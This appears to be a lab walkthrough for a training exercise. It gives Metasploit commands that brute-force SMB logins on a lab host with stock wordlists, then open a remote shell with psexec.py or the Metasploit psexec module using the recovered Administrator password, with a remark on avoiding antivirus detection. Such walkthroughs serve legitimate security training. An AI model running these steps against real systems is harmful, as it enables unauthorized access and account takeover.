Lab
Fingerprint the SMB service with the tools on the Kali machine, find valid credentials, then get a Meterpreter session with a Metasploit SMB module.
Objective: Exploit the SMB service to get a meterpreter on the target and retrieve the flag!
Nmap Scan
Exploit SMB with MSFconsole
Brute-force SMB logins with the smb_login scanner.
use auxiliary/scanner/smb/smb_login
set RHOSTS 10.3.28.208
set USER_FILE /usr/share/metasploit-framework/data/wordlists/common_users.txt
set PASS_FILE /usr/share/metasploit-framework/data/wordlists/unix_passwords.txt
set VERBOSE false
exploit
Always use the Administrator account if one is discovered.
Exploiting Samba with PsExec.py
The Administrator password turns out to be qwertyuiop.
psexec.py Administrator@10.3.28.208 cmd.exe
PsExec Metasploit Module (Not Best Option Due to AV Detection)
The Metasploit psexec module does the same thing, but it is more likely to trip antivirus.
use exploit/windows/smb/psexec
set RHOSTS 10.3.28.208
set SMBUser Administrator
set SMBPass qwertyuiop
exploit